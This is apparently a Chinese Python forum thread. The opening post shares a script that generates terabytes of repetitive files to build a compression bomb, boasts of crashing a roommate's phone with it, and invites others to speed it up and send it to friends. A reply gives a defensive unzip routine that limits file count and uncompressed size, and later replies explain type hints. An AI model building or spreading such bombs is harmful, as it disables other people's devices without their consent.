用python写了个文件炸弹
import osdef make_boom(file_path,file_num,string_len):
if not os.path.exists(file_path):
os.mkdir(file_path)
os.chdir(file_path)
for i in range(file_num):
with open('boom%d.txt'%i,'w',encoding='utf-8') as f:
f.write('Boom'*string_len)
make_boom('zip_boom',10000,10000*10000)
很简单的一段代码,运行速度太慢了,按我设置的这个参数运行的话估计得运行一个半小时,运行后生成的文件大小在3.6TB左右,压缩后估计几百MB,我用这段代码运行了十分钟,生成了一个276GB的文件夹,压缩后只有14MB,压缩后发给我一个憨逼舍友,成功把他手机整死机了,我不会增加线程,有会的可以改一下发给朋友{:10_334:}
有你这样的朋友,可是倒了血霉 wp231957 发表于 2022-6-12 19:21
有你这样的朋友,可是倒了血霉
那不怪我,我群里都说了,他还瞎解压{:10_277:} 我记得有个什么文件炸弹压缩后只有几KB的解压以后也是几TB的 骚年¥学编程 发表于 2022-6-13 09:53
我记得有个什么文件炸弹压缩后只有几KB的解压以后也是几TB的
那种压缩炸弹和我这种原理不同吧 import zipfile
import os
def unzip(filename: str):
# 限制最大文件数100
max_file_num = 100
# 设置解压内容最大值(一般平均最大的压缩率20,再高就很可能是异常文件了!)
max_file_size = 1024 * 1024 * 100 * 20
total_size = 0
to_zip_file = zipfile.ZipFile(filename)
dirname = filename.replace('.zip', '')
# 校验文件总数量
if len(to_zip_file.filelist) > max_file_num:
raise ValueError("压缩文件的数量超过了上限")
# 校验解压文件内容最大值
for file in to_zip_file.filelist:
total_size += file.file_size
if total_size > max_file_size:
raise IOError("压缩包内容异常")
# 判断文件夹重复则退出
if os.path.exists(dirname):
print(f'{dirname} dir has already existed')
return -1
else:
# 创建文件夹,并解压
os.mkdir(dirname)
to_zip_file.extractall(dirname)
to_zip_file.close()
unzip('zip_boom.zip') 骚年¥学编程 发表于 2022-6-13 11:40
我不了解zipfile模块,不敢随便运行{:10_256:} 骚年¥学编程 发表于 2022-6-13 11:40
第四行那里filename: str是什么意思 小丑9 发表于 2022-6-13 13:43
第四行那里filename: str是什么意思
def unzip(filename: str):
def:关键字,定义一个函数
unzip: 函数名字
filename:str形参名字指定参数类型为字符型 骚年¥学编程 发表于 2022-6-13 14:24
def unzip(filename: str):
def:关键字,定义一个函数
unzip: 函数名字
指定参数类型为字符型是将传入的实参转化成字符串吗? 小丑9 发表于 2022-6-13 14:27
指定参数类型为字符型是将传入的实参转化成字符串吗?
是只能传入字符串类型的数值
页:
[1]